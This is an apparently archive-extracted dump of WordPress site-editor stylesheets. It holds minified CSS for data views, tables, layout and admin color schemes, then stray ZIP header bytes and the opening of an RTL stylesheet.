.dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):focus-within .dataviews-view-list__title-field,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list div[role=row]:not(.is-selected):hover .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#1e1e1e}.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__title-field,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list div[role=row].is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__title-field{color:var(--wp-admin-theme-color)}.dataviews-view-list .dataviews-view-list__item{appearance:none;background:none;border:none;cursor:pointer;inset:0;padding:0;position:absolute;scroll-margin:8px 0;z-index:1}.dataviews-view-list .dataviews-view-list__item:focus-visible{outline:none}.dataviews-view-list .dataviews-view-list__item:focus-visible:before{border-radius:2px;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";inset:var(--wp-admin-border-width-focus);outline:2px solid #0000;position:absolute}.dataviews-view-list .dataviews-view-list__title-field{flex:1;line-height:24px;min-height:24px;overflow:hidden}.dataviews-view-list .dataviews-view-list__title-field:has(a,button){z-index:1}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:52px;overflow:hidden;position:relative;width:52px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-list .dataviews-view-list__field-wrapper{flex-grow:1;min-height:52px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:12px;row-gap:4px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:has(.dataviews-view-list__field-value:empty),.dataviews-view-list .dataviews-view-list__fields:empty{display:none}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field-value{align-items:center;display:flex;line-height:20px;min-height:24px}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-table{border-collapse:collapse;border-color:inherit;color:#757575;margin-bottom:auto;position:relative;text-indent:0;width:100%}.dataviews-view-table th{color:#1e1e1e;font-size:13px;font-weight:400;text-align:left}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td.dataviews-view-table__actions-column,.dataviews-view-table th.dataviews-view-table__actions-column{text-align:right}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-right:0;width:1%}.dataviews-view-table tr{border-top:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:48px}.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-left:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:48px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr.is-hovered{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate{opacity:1}.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:0}.dataviews-view-table tr.is-hovered .components-checkbox-control__input,.dataviews-view-table tr.is-hovered .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:focus-within .dataviews-item-actions .components-button:not(.dataviews-all-actions-button),.dataviews-view-table tr:hover .components-checkbox-control__input,.dataviews-view-table tr:hover .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}@media (hover:none){.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input,.dataviews-view-table tr .dataviews-item-actions .components-button:not(.dataviews-all-actions-button){opacity:1}}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected,.dataviews-view-table tr.is-selected+tr{border-top:1px solid rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead th{background-color:#fff;font-size:11px;font-weight:500;padding-bottom:8px;padding-left:12px;padding-top:8px;text-transform:uppercase}.dataviews-view-table thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:4px}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .components-v-stack>.dataviews-view-table__cell-content-wrapper:not(:first-child){min-height:0}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-left:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-table.has-compact-density thead th:has(.dataviews-view-table-header-button):not(:first-child){padding-left:0}.dataviews-view-table.has-compact-density td,.dataviews-view-table.has-compact-density th{padding:4px 8px}.dataviews-view-table.has-comfortable-density td,.dataviews-view-table.has-comfortable-density th{padding:16px 12px}.dataviews-view-table.has-comfortable-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-comfortable-density th.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density td.dataviews-view-table__checkbox-column,.dataviews-view-table.has-compact-density th.dataviews-view-table__checkbox-column{padding-right:0}@container (max-width: 430px){.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:24px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:24px}}.dataviews-view-table-selection-checkbox{--checkbox-input-size:24px}@media (min-width:600px){.dataviews-view-table-selection-checkbox{--checkbox-input-size:16px}}.dataviews-column-primary__media{max-width:60px}.dataviews-controls__datetime{border:none;padding:0}.dataforms-layouts-panel__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-panel__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-panel__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.dataforms-layouts-panel__field-control .components-button{max-width:100%;min-height:32px;text-align:left;text-wrap:balance;text-wrap:pretty;white-space:normal}.dataforms-layouts-panel__field-control .components-dropdown{max-width:100%}.dataforms-layouts-panel__field-dropdown .components-popover__content{min-width:320px;padding:16px}.dataforms-layouts-panel__dropdown-header{margin-bottom:16px}.components-popover.components-dropdown__content.dataforms-layouts-panel__field-dropdown{z-index:159990}.dataforms-layouts-regular__field{align-items:flex-start!important;justify-content:flex-start!important;min-height:32px;width:100%}.dataforms-layouts-regular__field .components-base-control__label{font-size:inherit;font-weight:400;text-transform:none}.dataforms-layouts-regular__field-label{align-items:center;display:flex;flex-shrink:0;hyphens:auto;line-height:20px;min-height:32px;padding:6px 0;width:38%}.dataforms-layouts-regular__field-control{align-items:center;display:flex;flex-grow:1;min-height:32px}.edit-site-layout{color:#ccc;display:flex;flex-direction:column;height:100%}.edit-site-layout,.edit-site-layout:not(.is-full-canvas) .editor-visual-editor{background:#1e1e1e}.edit-site-layout__content{display:flex;flex-grow:1;height:100%}.edit-site-layout__sidebar-region{flex-shrink:0;width:100vw;z-index:1}@media (min-width:782px){.edit-site-layout__sidebar-region{width:300px}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{height:100vh;left:0;position:fixed!important;top:0}.edit-site-layout__sidebar-region .edit-site-layout__sidebar{display:flex;flex-direction:column;height:100%}.edit-site-layout__sidebar-region .resizable-editor__drag-handle{right:0}.edit-site-layout__main{display:flex;flex-direction:column;flex-grow:1;overflow:hidden}.edit-site-layout__mobile{display:flex;flex-direction:column;position:relative;width:100%;z-index:2}.edit-site-layout__mobile .edit-site-sidebar__screen-wrapper{padding:0}.edit-site-layout__mobile .edit-site-sidebar-navigation-screen__main{padding:0 12px}.edit-site-layout__canvas-container{flex-grow:1;overflow:visible;position:relative;z-index:2}.edit-site-layout__canvas-container.is-resizing:after{bottom:0;content:"";left:0;position:absolute;right:0;top:0;z-index:100}.edit-site-layout__canvas{align-items:center;bottom:0;display:flex;justify-content:center;left:0;position:absolute;top:0;width:100%}.edit-site-layout__canvas.is-right-aligned{justify-content:flex-end}.edit-site-layout__canvas .edit-site-resizable-frame__inner{color:#1e1e1e}@media (min-width:782px){.edit-site-layout__canvas{bottom:16px;top:16px;width:calc(100% - 16px)}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;overflow:hidden}}@media (min-width:782px) and (not (prefers-reduced-motion)){.edit-site-layout__canvas .edit-site-resizable-frame__inner-content{transition:border-radius,box-shadow .4s}}@media (min-width:782px){.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas .edit-site-resizable-frame__inner-content{border-radius:8px}.edit-site-layout__canvas .edit-site-resizable-frame__inner-content:hover{box-shadow:0 5px 15px #00000014,0 15px 27px #00000012,0 30px 36px #0000000a,0 50px 43px #00000005}}.edit-site-layout.is-full-canvas .edit-site-layout__canvas{bottom:0;top:0;width:100%}.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{min-height:100%!important;position:relative!important}.edit-site-template-pages-preview{height:100%}html.canvas-mode-edit-transition::view-transition-group(toggle){animation-delay:255ms}@media (prefers-reduced-motion){::view-transition-group(*),::view-transition-new(*),::view-transition-old(*){animation:none!important}}.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region .edit-site-layout__view-mode-toggle{display:none}.edit-site-layout__view-mode-toggle.components-button{view-transition-name:toggle;align-items:center;background:#1e1e1e;border-radius:0;color:#fff;display:flex;height:60px;justify-content:center;overflow:hidden;padding:0;position:relative;width:60px}.edit-site-layout__view-mode-toggle.components-button:active,.edit-site-layout__view-mode-toggle.components-button:hover{color:#fff}.edit-site-layout__view-mode-toggle.components-button:focus,.edit-site-layout__view-mode-toggle.components-button:focus-visible{box-shadow:0 0 0 3px #1e1e1e,0 0 0 6px var(--wp-admin-theme-color);outline:4px solid #0000;outline-offset:4px}.edit-site-layout__view-mode-toggle.components-button:before{border-radius:4px;bottom:9px;box-shadow:none;content:"";display:block;left:9px;position:absolute;right:9px;top:9px}@media not (prefers-reduced-motion){.edit-site-layout__view-mode-toggle.components-button:before{transition:box-shadow .1s ease}}.edit-site-layout__view-mode-toggle.components-button .edit-site-layout__view-mode-toggle-icon{align-items:center;display:flex;height:60px;justify-content:center;width:60px}.edit-site-layout__actions{background:#fff;bottom:auto;color:#1e1e1e;left:auto;position:fixed!important;right:0;top:-9999em;width:280px;z-index:100000}.edit-site-layout__actions:focus,.edit-site-layout__actions:focus-within{bottom:0;top:auto}.edit-site-layout__actions.is-entity-save-view-open:focus,.edit-site-layout__actions.is-entity-save-view-open:focus-within{top:0}@media (min-width:782px){.edit-site-layout__actions{border-left:1px solid #ddd}}.edit-site-layout__area{box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;flex-grow:1;margin:0;overflow:hidden}@media (min-width:782px){.edit-site-layout__area{border-radius:8px;margin:16px 16px 16px 0}}.edit-site .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}.edit-site-page{background:#fff;color:#2f2f2f;container:edit-site-page/inline-size;height:100%}@media not (prefers-reduced-motion){.edit-site-page{transition:width .2s ease-out}}.edit-site-page-header{background:#fff;border-bottom:1px solid #f0f0f0;padding:16px 48px;position:sticky;top:0;z-index:2}@media not (prefers-reduced-motion){.edit-site-page-header{transition:padding .1s ease-out}}.edit-site-page-header .components-heading{color:#1e1e1e}.edit-site-page-header .edit-site-page-header__page-title{min-height:40px}.edit-site-page-header .edit-site-page-header__page-title .components-heading{flex-basis:0;flex-grow:1;white-space:nowrap}.edit-site-page-header .edit-site-page-header__sub-title{margin-bottom:8px}@container (max-width: 430px){.edit-site-page-header{padding:16px 24px}}.edit-site-page-content{display:flex;flex-flow:column;height:100%;position:relative;z-index:1}.edit-site-save-hub{border-top:1px solid #2f2f2f;color:#949494;flex-shrink:0;margin:0;padding:16px}.edit-site-save-hub__button{color:inherit;justify-content:center;width:100%}.edit-site-save-hub__button[aria-disabled=true]{opacity:1}.edit-site-save-hub__button[aria-disabled=true]:hover{color:inherit}.edit-site-save-hub__button:not(.is-primary).is-busy,.edit-site-save-hub__button:not(.is-primary).is-busy[aria-disabled=true]:hover{color:#1e1e1e}@media (min-width:600px){.edit-site-save-panel__modal{width:600px}}.edit-site-sidebar__content{contain:content;flex-grow:1;overflow-x:hidden;overflow-y:auto}@keyframes _fwjws_slide-from-right{0%{opacity:0;transform:translateX(50px)}to{opacity:1;transform:none}}@keyframes _fwjws_slide-from-left{0%{opacity:0;transform:translateX(-50px)}to{opacity:1;transform:none}}.edit-site-sidebar__screen-wrapper{animation-duration:.14s;animation-timing-function:ease-in-out;display:flex;flex-direction:column;height:100%;max-height:100%;overflow-x:auto;padding:0 12px;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:stable;scrollbar-width:thin;will-change:transform;will-change:transform,opacity}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar{height:12px;width:12px}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-track{background-color:initial}.edit-site-sidebar__screen-wrapper::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.edit-site-sidebar__screen-wrapper:focus-within::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:focus::-webkit-scrollbar-thumb,.edit-site-sidebar__screen-wrapper:hover::-webkit-scrollbar-thumb{background-color:#757575}.edit-site-sidebar__screen-wrapper:focus,.edit-site-sidebar__screen-wrapper:focus-within,.edit-site-sidebar__screen-wrapper:hover{scrollbar-color:#757575 #0000}@media (hover:none){.edit-site-sidebar__screen-wrapper{scrollbar-color:#757575 #0000}}@media (prefers-reduced-motion:reduce){.edit-site-sidebar__screen-wrapper{animation-duration:0s}}.edit-site-sidebar__screen-wrapper.slide-from-left{animation-name:_fwjws_slide-from-left}.edit-site-sidebar__screen-wrapper.slide-from-right{animation-name:_fwjws_slide-from-right}.edit-site-site-hub{align-items:center;display:flex;gap:8px;height:60px;justify-content:space-between;margin-right:12px}.edit-site-site-hub__actions{flex-shrink:0}.edit-site-site-hub__view-mode-toggle-container{flex-shrink:0;height:60px;width:60px}.edit-site-site-hub__view-mode-toggle-container.has-transparent-background .edit-site-layout__view-mode-toggle-icon{background:#0000}.edit-site-site-hub__title .components-button{color:#e0e0e0;display:block;flex-grow:1;font-size:15px;font-weight:500;margin-left:-4px;overflow:hidden;padding-right:16px;position:relative;text-decoration:none;text-overflow:ellipsis;white-space:nowrap}.edit-site-site-hub__title .components-button:active,.edit-site-site-hub__title .components-button:focus,.edit-site-site-hub__title .components-button:hover{color:#e0e0e0}.edit-site-site-hub__title .components-button:focus{box-shadow:none;outline:none}.edit-site-site-hub__title .components-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) #1e1e1e,0 0 0 calc(var(--wp-admin-border-width-focus)*2) var(--wp-admin-theme-color);outline:2px solid #0000;outline-offset:2px}.edit-site-site-hub__title .components-button:after{content:"↗";font-weight:400;opacity:0;position:absolute;right:0}@media not (prefers-reduced-motion){.edit-site-site-hub__title .components-button:after{transition:opacity .1s linear}}.edit-site-site-hub__title .components-button:active:after,.edit-site-site-hub__title .components-button:focus:after,.edit-site-site-hub__title .components-button:hover:after{opacity:1}.edit-site-site-hub_toggle-command-center{color:#e0e0e0}.edit-site-site-hub_toggle-command-center:active svg,.edit-site-site-hub_toggle-command-center:hover svg{fill:#f0f0f0}.edit-site-site-icon__icon{fill:currentColor;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__icon{padding:12px}.edit-site-site-icon__image{aspect-ratio:1/1;background:#333;height:100%;object-fit:cover;width:100%}.edit-site-layout.is-full-canvas .edit-site-site-icon__image{border-radius:0}.edit-site-editor__view-mode-toggle button:focus{position:relative}.edit-site-editor__view-mode-toggle button:focus:before{bottom:0;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color),inset 0 0 0 calc(1px + var(--wp-admin-border-width-focus)) #fff;content:"";display:block;left:0;position:absolute;right:0;top:0;z-index:1}.edit-site-editor-canvas-container{background-color:#ddd;height:100%}.edit-site-editor-canvas-container iframe{display:block;height:100%;width:100%}.edit-site-layout.is-full-canvas .edit-site-editor-canvas-container{padding:24px 24px 0}.edit-site-editor-canvas-container__section{background:#fff;border-radius:8px;bottom:0;left:0;overflow:hidden;position:absolute;right:0;top:0}@media not (prefers-reduced-motion){.edit-site-editor-canvas-container__section{transition:all .3s}}.edit-site-editor-canvas-container__close-button{background:#fff;position:absolute;right:8px;top:8px;z-index:2}.edit-site-post-list__featured-image{height:100%;object-fit:cover;width:100%}.edit-site-post-list__featured-image-wrapper{border-radius:4px;height:100%;width:100%}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)){background-color:#f0f0f0;border-radius:4px;display:block;flex-grow:0!important;height:32px;overflow:hidden;position:relative;width:32px}.edit-site-post-list__featured-image-wrapper.is-layout-table .edit-site-post-list__featured-image-button:after,.edit-site-post-list__featured-image-wrapper.is-layout-table:not(:has(.edit-site-post-list__featured-image-button)):after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.edit-site-post-list__featured-image-button{background-color:unset;border:none;border-radius:4px;box-shadow:none;box-sizing:border-box;cursor:pointer;height:100%;overflow:hidden;padding:0;width:100%}.edit-site-post-list__featured-image-button:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-view-grid__card.is-selected .edit-site-post-list__featured-image-button:after{background:rgba(var(--wp-admin-theme-color--rgb),.04);box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-post-list__status-icon{height:24px;width:24px}.edit-site-post-list__status-icon svg{fill:currentColor;margin-left:-4px}.edit-site-resizable-frame__inner{position:relative}body:has(.edit-site-resizable-frame__inner.is-resizing){cursor:col-resize;user-select:none;-webkit-user-select:none}.edit-site-resizable-frame__inner.is-resizing:before{content:"";inset:0;position:absolute;z-index:1}.edit-site-resizable-frame__inner-content{inset:0;position:absolute;z-index:0}.edit-site-resizable-frame__handle{align-items:center;background-color:#75757566;border:0;border-radius:4px;cursor:col-resize;display:flex;height:64px;justify-content:flex-end;padding:0;position:absolute;top:calc(50% - 32px);width:4px;z-index:100}.edit-site-resizable-frame__handle:before{content:"";height:100%;left:100%;position:absolute;width:32px}.edit-site-resizable-frame__handle:after{content:"";height:100%;position:absolute;right:100%;width:32px}.edit-site-resizable-frame__handle:focus-visible{outline:2px solid #0000}.edit-site-resizable-frame__handle.is-resizing,.edit-site-resizable-frame__handle:focus,.edit-site-resizable-frame__handle:hover{background-color:var(--wp-admin-theme-color)}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}#adminmenumain,#wpadminbar{display:none}#wpcontent{margin-left:0}body.js #wpbody{padding-top:0}body{background:#fff}body #wpcontent{padding-left:0}body #wpbody-content{padding-bottom:0}body #wpbody-content>div:not(#gutenberg-posts-dashboard):not(#screen-meta),body #wpfooter{display:none}body .a11y-speak-region{left:-1px;top:-1px}body ul#adminmenu a.wp-has-current-submenu:after,body ul#adminmenu>li.current>a.current:after{border-right-color:#fff}body .media-frame select.attachment-filters:last-of-type{max-width:100%;width:auto}#gutenberg-posts-dashboard{box-sizing:border-box;height:100vh}#gutenberg-posts-dashboard *,#gutenberg-posts-dashboard :after,#gutenberg-posts-dashboard :before{box-sizing:inherit}@media (min-width:600px){#gutenberg-posts-dashboard{bottom:0;left:0;min-height:100vh;position:fixed;right:0;top:0}}.no-js #gutenberg-posts-dashboard{min-height:0;position:static}#gutenberg-posts-dashboard .components-editor-notices__snackbar{bottom:16px;padding-left:16px;padding-right:16px;position:fixed;right:0}PK1Xd[z0(����dist/edit-site/style-rtl.cssnu�[���@charset "UTF-8";
:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.dataviews-wrapper{
  box-sizing:border-box;
  container:dataviews-wrapper/inline-size;
  display:flex;
  flex-direction:column;
  font-size:13px;
  height:100%;
  line-height:1.4;
  overflow:auto;
  scroll-padding-bottom:64px;
}

.dataviews-filters__container,.dataviews__view-actions{
  box-sizing:border-box;
  flex-shrink:0;
  padding:16px 48px;
  position:sticky;
  right:0;
}
@media not (prefers-reduced-motion){
  .dataviews-filters__container,.dataviews__view-actions{
    transition:padding .1s ease-out;
  }
}

.dataviews-loading,.dataviews-no-results{
  align-items:center;
  display:flex;
  flex-grow:1;
  justify-content:center;
  padding:0 48px;
}
@media not (prefers-reduced-motion){
  .dataviews-loading,.dataviews-no-results{
    transition:padding .1s ease-out;
  }
}

@container (max-width: 430px){
  .dataviews-filters__container,.dataviews__view-actions{
    padding:12px 24px;
  }
  .dataviews-loading,.dataviews-no-results{
    padding-left:24px;
    padding-right:24px;
  }
}
.dataviews-title-field{
  font-size:13px;
  font-weight:500;
  width:100%;
}
.dataviews-title-field,.dataviews-title-field a{
  color:#2f2f2f;
  text-overflow:ellipsis;
  white-space:nowrap;
}
.dataviews-title-field a{
  display:block;
  flex-grow:0;
  overflow:hidden;
  text-decoration:none;
}
.dataviews-title-field a:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field a:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}
.dataviews-title-field button.components-button.is-link{
  color:#1e1e1e;
  display:block;
  font-weight:inherit;
  overflow:hidden;
  text-decoration:none;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.dataviews-title-field button.components-button.is-link:hover{
  color:var(--wp-admin-theme-color);
}

.dataviews-title-field--clickable{
  color:#2f2f2f;
  cursor:pointer;
}
.dataviews-title-field--clickable:hover{
  color:var(--wp-admin-theme-color);
}
.dataviews-title-field--clickable:focus{
  border-radius:2px;
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color, #007cba);
  color:var(--wp-admin-theme-color--rgb);
}

.dataviews-bulk-actions-footer__item-count{
  color:#1e1e1e;
  font-size:11px;
  font-weight:500;
  text-transform:uppercase;
}

.dataviews-bulk-actions-footer__container{
  margin-left:auto;
  min-height:32px;
}

.dataviews-filters__button{
  position:relative;
}

.dataviews-filters__container{
  padding-top:0;
}

.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true],.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:hover{
  opacity:0;
}
.dataviews-filters__reset-button.dataviews-filters__reset-button[aria-disabled=true]:focus{
  opacity:1;
}

.dataviews-filters__summary-popover{
  font-size:13px;
  line-height:1.4;
}
.dataviews-filters__summary-popover .components-popover__content{
  border-radius:4px;
  width:230px;
}
.dataviews-filters__summary-popover.components-dropdown__content .components-popover__content{
  padding:0;
}

.dataviews-filters__summary-operators-container{
  padding:8px 8px 0;
}
.dataviews-filters__summary-operators-container:has(+.dataviews-filters__search-widget-listbox){
  border-bottom:1px solid #e0e0e0;
  padding-bottom:8px;
}
.dataviews-filters__summary-operators-container:empty{
  display:none;
}
.dataviews-filters__summary-operators-container .dataviews-filters__summary-operators-filter-name{
  color:#757575;
}

.dataviews-filters__summary-chip-container{
  position:relative;
  white-space:pre-wrap;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip{
  align-items:center;
  background:#f0f0f0;
  border:1px solid #0000;
  border-radius:16px;
  box-sizing:border-box;
  color:#2f2f2f;
  cursor:pointer;
  display:flex;
  min-height:32px;
  padding:4px 12px;
  position:relative;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-reset{
  padding-inline-end:28px;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:focus-visible,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip:hover,.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip[aria-expanded=true]{
  background:#e0e0e0;
  color:#1e1e1e;
}
.dataviews-filters__summary-chip-container .dataviews-filters__summary-chip.has-values{
  background:rgba(var(--wp-admin-theme-color--rgb), .04);
  color:var(--wp-admin-theme-color);
}
